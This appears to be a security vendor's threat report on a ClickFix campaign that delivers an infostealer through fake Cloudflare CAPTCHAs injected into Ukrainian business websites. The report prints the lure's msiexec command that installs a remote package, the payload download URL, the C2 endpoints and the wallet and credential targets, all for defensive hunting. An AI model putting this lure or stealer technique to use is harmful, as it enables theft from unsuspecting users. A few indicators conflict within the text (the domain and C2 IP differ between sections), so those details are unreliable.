The Psychedelic Stealer: When a CAPTCHA Becomes an Installer

A Ukrainian-branded ClickFix lure, a Russian-branded traffic panel, and victims from 32 countries across Europe, the Americas and Asia-Pacific. Summary Arctic Wolf Labs is tracking an ongoing campaign that compromises legitimate Ukrainian business websites and uses injected iframes to display a Ukrainian-language fake Cloudflare verification page. When a visitor interacts with the page, the lure copies a Windows Installer command to the clipboard and instructs the visitor to paste it into the Windows Run dialog. The command retrieves an MSI package that ultimately delivers a previously unidentified infostealer containing the embedded tag “Psychedelic.” Arctic Wolf Labs refers to the implant as Psychedelic Stealer based on that embedded tag. The malware targets browser passwords, account tokens, and cryptocurrency-wallet data; deploys browser-support components; establishes scheduled-task persistence; and polls its command-and-control (C2) server for additional tasks. An exposed lure-management panel also revealed domain-specific command configuration and interaction telemetry spanning 32 countries, with most recorded page views assigned to Ukraine. The panel’s events measure interaction with the lure, but do not independently confirm malware execution or successful compromise. Key Findings - Compromised legitimate Ukrainian websites delivered the lure. Attackers injected an iframe into multiple Ukrainian business websites, exposing existing visitors and customers to an attacker-controlled fake CAPTCHA rather than relying solely on direct traffic to an unfamiliar malicious domain. - The ClickFix flow used Windows Installer instead of an encoded PowerShell command. The lure copied an msiexec command before showing instructions that directed the visitor to paste and execute it through Windows Run. - The exposed management panel configured commands and measured lure interaction. The panel recorded 557 views across 32 countries, including 446 assigned to Ukraine, but its view, click, and “complete” events do not independently confirm execution or compromise. - Psychedelic Stealer combines information theft with persistent remote tasking. The implant targets browser credentials, account tokens, and cryptocurrency-wallet data, deploys browser components, creates scheduled-task persistence, and supports additional payload execution. Campaign Overview The campaign joins a trusted initial access surface with a familiar social-engineering technique and a capable follow-on implant. Visitors do not need to be lured to visit an obvious threat actor-controlled site. Instead, an injected iframe on legitimate Ukrainian business websites (complete with existing business-related traffic) loads the attacker-controlled lure. The fake verification sequence then depends on the visitor to manually move a command from the browser into Windows Run. Figure 1: Attack flow chain showing the five-stage infection sequence (Click to enlarge). Compromised Websites and iFrame Injection Arctic Wolf identified campaign lures associated with multiple Ukrainian businesses, including a hair-treatment clinic, a scale-model manufacturer, a specialist bookseller and publisher, a psychological facility, a tool retailer, and an automotive retailer. Numerous indicators support our assessment that the affected domains belonged to real operating businesses, including established social media accounts and references/backlinks from third-party business listings. Analysis of the affected sites identified an injected iframe that loaded attacker-controlled campaign infrastructure. After deobfuscation, we discovered that the script referenced hxxps[:]//fsputnik[.]com/tds/tracker[.]js. Collectively, the established business presence of the analyzed sites plus the injected code indicate that the campaign operators compromised legitimate websites rather than creating simple imitations of those businesses. Figure 2: Malicious iframe code, revealed in the code of a hacked legitimate Ukrainian business site. After the visitor completes the malicious CAPTCHA and selects “Done,” the lure sends a bp-reload-parent message to the parent origin. This behavior is consistent with embedded content instructing the compromised host page to reload, and further corroborates the iframe-based delivery architecture. Infrastructure Timeline According to WHOIS data, the malicious domain uasputnik[.]com was registered on September 9, 2026, at 17:02:25 UTC and updated approximately three and a half hours later. Lure URLs referencing the Ukrainian scale-model and publishing sites were observed on September 12, followed by one referencing a hair-treatment website on September 13. Further analysis associated uasputnik[.]com with 176.53.159[.]40 from September 9 through September 14, 2026. These dates place domain registration, DNS activity, and observed delivery within the same short operational window. ClickFix Execution Flow The attacker-controlled page imitates a Cloudflare verification screen and presents Ukrainian-language instructions. The HTML contains Russian-language code comments and alternative text, while the page declares lang=”ru”. While these artifacts provide context about the implementation, we cannot verify the operators’ nationality, location, or affiliation based on this evidence alone. Figure 3: Fake Cloudflare verification page. In Figure 3 above, the Ukrainian-language text “Адреса сайту не визначена” translates to “Site address not specified.” The page footer displays a randomly generated hexadecimal “Ray ID.” Cloudflare assigns a legitimate Ray ID to each request that passes through its network, but the value displayed by this lure is not evidence that Cloudflare performed the verification. The agreement text also contains a fixed “visitor identifier.” Both identifiers imitate familiar verification and tracking elements, making the page appear more legitimate without providing evidence of an authentic Cloudflare verification. Put simply, all of this is fake; window dressing to fool the site visitor. When the visitor clicks the CAPTCHA container, the event handler invokes the interaction beacon and clipboard helper in sequence: report('click'); copyToClipboard(currentPayload); The recorded click does not establish that the clipboard operation succeeded. The text visible in the agreement panel is also separate from the value copied to the clipboard: the panel displays fixed verification-themed content, while the clipboard helper uses the remotely retrieved command stored in currentPayload. The page copies that value through an off-screen text element, but the browser does not execute it. The clipboard operation occurs before the lure displays its Windows Run instructions. After a three-second spinner, the page presents an instruction dialog and keeps the “Done” button disabled for approximately 35 additional seconds. This delay controls progression through the lure interface; it does not verify that the visitor opened Windows Run, pasted the command, or installed the payload. Figure 4: The “Identity Confirmation” popup box directs the visitor to paste and execute the clipboard contents. The “ГОТОВО” (“Done”) button appears temporarily disabled, forcing the site visitor to wait before clicking. The visitor must press Windows+R, paste the command, and press Enter to continue the infection chain. After the visitor selects “Done,” the lure sends a bp-reload-parent message to the parent origin, behavior consistent with an embedded lure instructing the compromised host page to reload. Remote Command Retrieval and Payload Management On page load, the lure requests a plain-text command from admin777111777.php from the attacker-controlled domain. A response longer than five characters replaces the initial in-memory value “1.” Because the request is asynchronous, a visitor who clicks before the response completes could copy the default value. The code does not refetch immediately before copying or validate that the response contains a usable command. The lure separates the website identity shown to the visitor from the infrastructure used for command retrieval and payload delivery. The site= parameter supplies the legitimate business hostname displayed by the verification dialog, while window.location.hostname identifies the domain used to retrieve the configured command. The clipboard command separately contains the MSI package URL. This separation allows the operators to reuse the same lure across multiple compromised websites while maintaining centralized command configuration. The panel associates commands with selected domains and includes a default entry labeled “Global,” allowing operators to change delivery commands without modifying the lure HTML. Windows Installer Delivery The clipboard command invokes Windows Installer directly: Msiexec.exe /i “hxxps[:]//uasputnik[.]com/elita.msi” /passive ORG_NOTE=”Захист від автоматичних запитів… ✔️ Підтверджую, що я не робот.” The ORG_NOTE property translates to “Protection against automated requests… ✔ I confirm that I am not a robot.” Repeating the verification language inside the command creates continuity between the browser pretext and the Windows execution interface. The /i argument requests installation, while /passive uses an unattended interface with a progress bar. Detections limited to encoded PowerShell can miss this initial execution step. MSI-Associated Delivery Component Analysis of an MSI-associated component identified an encrypted next-stage URL that resolved to: hxxp[:]//107.175.82[.]242:9000/wilow/psychedeliclove.exe. Nearby decrypted strings included MsMpEng.exe and explorer.exe. During the investigation, Arctic Wolf Labs also identified the MSI filenames miks.msi and sova.msi, along with multiple PayloadFile1 hashes. These changes indicate continued modification of the delivery packages during the observation period. Psychedelic Stealer Analysis The final payload, psychedeliclove.exe, is a 64-bit Windows executable with the SHA-256 06f434695f93d7fd11eeff71358ff69fed79d310a66d993bbcc4ff979c117c90. Arctic Wolf Labs uses the name Psychedelic Stealer because the binary contains the embedded configuration tag “Psychedelic.” At this time, Arctic Wolf is not assigning the malware to a previously known family or attributing the operation to a known threat group. Browser Credential Collection Psychedelic Stealer targets Chromium-based browsers, including Chrome, Edge, Brave, Opera, Opera GX, Vivaldi, and Yandex. Its password-collection logic extracts the website URL, username, and decrypted password, and associates each record with the affected browser, profile, bot identifier, and other collection context. In the sample we analyzed, the routine at 0x140008da0, labeled steal_browser_passwords during analysis, coordinates password collection. The routine at 0x140008850 constructs structured records containing bot_id, browser, profile, URL, username, and password. The implant submits password records through the dedicated /api/v1/ext/passwords endpoint. These behaviors establish that the implant seeks usable browser credentials rather than merely inventorying browser installations. Browser Token Collection Separate logic targets browser-associated account tokens. The implant reads the Chromium Web Data database, creates a temporary copy named wd_tmp.db, and extracts records containing service, gaia_id, and token fields. The analyzed sample submits these records through /api/v1/ext/tokens. The routine at 0x140009950, labeled steal_browser_tokens, coordinates this collection, while supporting logic at 0x1400096e0 processes the relevant database fields. Note that the presence of token-collection logic does not establish session hijacking or account takeover. Whether a collected token enables account access depends on its type, validity, destination service, and additional controls. Arctic Wolf Labs did not observe successful account takeover during this investigation. Cryptocurrency Wallet Collection Psychedelic Stealer targets both browser-extension wallets and desktop-wallet applications. The browser-wallet collection routine searches extension storage under paths such as: Local Extension Settings\ IndexedDB\chrome-extension__0.indexeddb.leveldb The analyzed target list includes extension identifiers associated with MetaMask, Trust Wallet, OKX Wallet, and SafePal. Separate desktop-wallet logic targets data associated with Exodus, Atomic Wallet, Electrum, Bitcoin Core, and Litecoin Core. The routines therefore cover two distinct sources of wallet information: browser-extension storage, and files maintained by locally installed wallet applications. In the analyzed sample, the routine at 0x14000a8a0 handles browser-wallet collection, while 0x14000ab60 targets desktop-wallet data. Collected wallet information is submitted through /api/v1/ext/wallets. The exact extension identifiers appear in the Appendix at the end of this report. Browser Components and Native Messaging The implant contains functionality to terminate selected browser processes, extract an embedded extension archive into browser profiles, and replace <> placeholders with a victim identifier. It creates host.ps1, host.bat, and com.lunex.explorer.json for a native-messaging bridge named com.lunex.explorer. These components extend the operation beyond one-time data collection. Browser-profile modification and native messaging provide a mechanism for deployed browser content to communicate with a local host component. A recurring background routine revisits extension-related operations before polling the C2 server for tasks, indicating that browser-component handling is integrated into the implant’s ongoing execution cycle rather than limited to initial installation. Persistence and Host Profiling The routine at 0x140018870 creates a logon scheduled task named psychedelicloveUtils. Host-profiling logic collects the computer name, username, operating-system version and architecture, CPU and core count, memory, GPU, disk size, time zone, language, screen details, MAC address, administrator status, antivirus information, and installed-browser details. These fields support victim identification and environment inventory. C2 Protocol and Remote Tasking The analyzed configuration contained the base URL hxxp[:]//193.178.159[.]128:8080, the tag Psychedelic, and a sample-specific X-API-Key value. API paths support check-in, configuration retrieval, heartbeats, task polling, task acknowledgment, and password, token, and wallet uploads. | Path | Observed Role | | /api/v1/checkin | Host registration and profile submission | | /api/v1/agent/config | Agent configuration | | /api/v1/agent/ping?hwid=%s | Victim heartbeat | | /api/v1/agent/tasks?hwid=%s | Task retrieval | | /api/v1/agent/tasks/%llu/ack | Task acknowledgment | | /api/v1/ext/passwords | Password submission | | /api/v1/ext/tokens | Token submission | | /api/v1/ext/wallets | Wallet-data submission | | %s/d/%s | Task attachment retrieval | The implant tracks task state in executed_tasks.json, downloads attachments into downloads\_, and supports EXE, COM, BAT, CMD, MSI, and PowerShell files. This gives operators a route to introduce additional code after installation. Lure Management and Telemetry The exposed panel we discovered was branded РУБЛЁВКА TDS (“Rublevka TDS”). Although the interface uses TDS branding, the reviewed code demonstrates a narrower set of functions: domain-based command configuration, visitor-event collection, and domain and country statistics. The frontend did not establish country-based redirection, bot filtering, or geographic payload selection. This report therefore refers to it as a lure-management panel. The panel is distinct from the implant C2. It configures web-lure commands and records interactions, while the implant C2 receives host check-ins and stolen data and supplies tasks after installation. The dashboard polls visitor records every two seconds, providing near-real-time visibility into progression through the lure interface, not endpoint execution. Figure 5: Lure-management dashboard showing command configuration and interaction statistics. Interaction Events and Limitations The page reports “view” during initialization, “click” when the visitor selects the CAPTCHA container, and “complete” when the visitor selects the enabled “Done” button. Each event beacon includes the reported action, user agent, browser language, screen dimensions, and a client-generated timestamp. These fields provide interaction context but do not establish of themselves user identity, payload execution, or host compromise. | Event | Trigger | What it Does Not Establish | | view | Page initialization | A unique human visitor | | click | CAPTCHA-container click | Successful clipboard write or Windows+R keypress | | complete | Enabled “Done” button clicked | Command execution, MSI installation, check-in, or compromise | The dashboard labels complete records as “executions” and uses them to calculate a conversion rate. This report does not adopt that interpretation because a complete event measures progression through the web interface only. Country Analytics At collection time, the lure management panel recorded 557 views, 426 clicks, and 79 complete events across 32 countries. Ukraine accounted for 446 views, 351 clicks, and 71 complete events. Ukrainian-language instructions, compromised Ukrainian business websites, and the concentration of recorded views in Ukraine collectively indicate a strong focus on Ukrainian users. The interface contains hardcoded country-display categories, shown with green borders in Figure 5, but the reviewed frontend does not demonstrate that those categories control redirection or payload selection. Figure 6: Panel-recorded country analytics. Hardcoded display categories do not establish geographic routing; “complete” events do not confirm compromise. | Country | Views | Clicks | Complete | | Ukraine | 446 | 351 | 71 | | United States | 31 | 12 | 1 | | Poland | 16 | 12 | 1 | | Germany | 12 | 11 | 1 | | Canada | 7 | 6 | 0 | | 27 other countries | 45 | 34 | 5 | | Total | 557 | 426 | 79 | Arctic Wolf Assessment This campaign combines three operational layers: compromised legitimate websites that supply trusted traffic, a configurable ClickFix lure that records visitor interaction, and a persistent implant that steals information and accepts remote tasks. The compromised-site delivery model places the lure in front of users who may already trust the affected business, while centralized command configuration lets the operators change the installer command without replacing the lure page. Russian-language branding and implementation artifacts suggest likely Russian operators, and the intended audience is clear: Ukrainian-language instructions, affected Ukrainian business websites, and the panel’s concentration of recorded views in Ukraine support an assessment that the campaign focused heavily on Ukrainian users. Arctic Wolf Labs has not attributed this activity to a specific threat actor, but the malware’s credential, token, and wallet theft capabilities are consistent with financially motivated activity, while remote tasking also allows the operators to pursue additional objectives after installation. How Arctic Wolf Protects Its Customers Arctic Wolf has Aurora® Managed Detection and Response (MDR) detections in place for activity observed in this intrusion. We have leveraged threat intelligence around this activity to enhance detections in the Aurora® Superintelligence Platform, subject to customer environment and available telemetry. As this campaign develops, Arctic Wolf may refine detections for additional indicators of compromise and techniques leveraged by this threat. Hunting and Detection Opportunities The following are evidence-derived hunting leads, not deployed or tested detection rules. Correlation is preferable to alerts on generic names or strings. Web and Network Telemetry - Hunt for access to uasputnik[.]com/sputnik.html, especially the site= variants, followed by the get_payload request or beacon POSTs to php. Subsequent access to /elita.msi is a later delivery-stage signal. - Treat access to the exact executable URL as stronger evidence of attempted payload retrieval than a lure page view. Correlate with file creation and execution before calling it an infection. - On traffic to 178.159.128[:]8080, inspect the /api/v1/agent/ and /api/v1/ext/ paths and X-API-Key header where collection permits. Exact paths plus endpoint and header are more distinctive than Mozilla/5.0 alone. Appendix Infrastructure and IOC Inventory The inventory separates suspected malicious infrastructure from source-site context, legitimate services, and target artifacts. Presence in the same investigation does not make every item suitable for blocking. NOTE: These technical indicators are intended for defensive use. Do not use these indicators or techniques for offensive purposes. Delivery and C2 Infrastructure | Indicator | Role and Evidence | | uasputnik[.]com | Lure and matching panel hostname, established by files and screenshots | | hxxps[:]//uasputnik[.]com/ | Panel URL visible in screenshot | | hxxps[:]//uasputnik[.]com/sputnik.html | Lure path | | hxxps[:]//uasputnik[.]com/elita.msi | Remote installation URL in the clipboard command | | /admin777111777.php | Root-level command/telemetry path derived from the lure’s relative URL | | ?api=get_payload&domain=uasputnik[.]com | Observed client-side request construction | | 176.53.159[.]40 | A-record relationship for uasputnik[.]com; first seen September 9, 2026, last seen September 14, 2026. | | AS154383, ZWS-AS-AP, ZORNTECH WEB SOLUTIONS | Network attribution for 176.53.159[.]40; this should not be read as operator attribution or a stand-alone block indicator. | | hxxp[:]//107.175.82[.]242:9000/wilow/psychedeliclove.exe | Decrypted executable URL in MSI-associated analysis | | 107.175.82[.]242, TCP 9000, /wilow/psychedeliclove.exe | Components of download indicator | | hxxp[:]//193.178.159[.]128:8080 | Hardcoded implant C2 | | 193.178.159[.]128, TCP 8080 | C2 network endpoint | Files, Persistence, and Correlation Strings | Artifact | Context | | elita.msi | First-stage package filename | | 38e90affe37342ee36917cdc535fe9bf04589afa8430eb8d1ba1016adcfc1878 | SHA-256 for elita.msi | | psychedeliclove.exe | Executable filename | | 06f434695f93d7fd11eeff71358ff69fed79d310a66d993bbcc4ff979c117c90 | SHA-256 for psychedeliclove.exe | | psychedelicloveUtils | Reported logon scheduled task | | com.lunex.explorer | Reported browser native messaging host | | com.lunex.explorer.json | Native-host manifest filename | | host.ps1, host.bat | Bridge components; generic names requiring context | | executed_tasks.json | Local task-state tracking | | wd_tmp.db | Staged browser token database | | downloads\_ | Task attachment staging pattern | | <> | Placeholder patched in deployed components | | Psychedelic | Embedded configuration tag | | bp-reload-parent | Browser parent-message value | | 34as77 | Fixed lure agreement identifier | | РУБЛЁВКА TDS | Panel branding | | ORG_NOTE | MSI property passed by the clipboard command; most useful with the accompanying URL and text | | Захист від автоматичних запитів… ✔️ Підтверджую, що я не робот. | Exact verification-themed property value in the ClickFix command | Wallet-Extension Target IDs - nkbihfbeogaeaoehlefnkodbefgpgknn (MetaMask) - ejbalbakoplchlghecdalmeeeajnimhm (MetaMask) - egjidjbpglichdcondbcbdnbeeppgdph (Trust Wallet) - mcohilncbfahbmgdjkbpemcciiolgcge (OKX Wallet) - pbpjkcldjiffchgbbndmhojiacbgflha (OKX Wallet) - lgmpcpglpngdoalbgeoldeajfclnhafa (SafePal Extension Wallet) Additional target path fragments include Web Data, Electrum\wallets, Bitcoin\wallets, and Litecoin\wallets, together with Exodus and Atomic data locations whose full paths were not supplied. Registration and Non-Malicious Context WHOIS identifies registrar Gransy, s.r.o., IANA ID 1505, WHOIS server whois.regtons.com, and abuse contact is abuse[at]regtons.com / +420.734463373. Registry ID: 3140801745_DOMAIN_COM-VRSN. The listed expiry is September 9, 2027, 17:02:25 UTC. Status is clientTransferProhibited; DNSSEC is unsigned. Nameservers are DORA.NS.CLOUDFLARE.COM and ERIC.NS.CLOUDFLARE.COM. They identify DNS service, not necessarily proxying or origin hosting. The supplied DNS export contains this relationship: Key,Type,Value,First Seen,Last Seen, Count 176.53.159[.]40,A,uasputnik[.]com,2026-09-09,2026-09-14,1 The export uses the IP as its lookup key and the domain as the value; its record type is A, not PTR. Without the provider’s schema, it should not be interpreted as one DNS query, one visitor, or one day of activity. Legal disclaimer: Attribution reflects Arctic Wolf Labs’ assessment as of the report period and may evolve with new evidence. References to threat actor identity, nexus, and intent are analytical judgments, not statements of legal fact. This alert is provided for informational purposes only and does not constitute a guarantee of detection or prevention. Defensive effectiveness varies by environment, configuration, and available telemetry. Additional Arctic Wolf Resources: - Arctic Wolf Pack Alert: 2026-09-17 – Ukrainian-Language ClickFix Lure, Russian-Branded Traffic Panel, and the Psychedelic Stealer - Arctic Wolf’s free Threat Intelligence newsletter: ThreatPulse Community Edition - Arctic Wolf Tech Den - Arctic Wolf Blog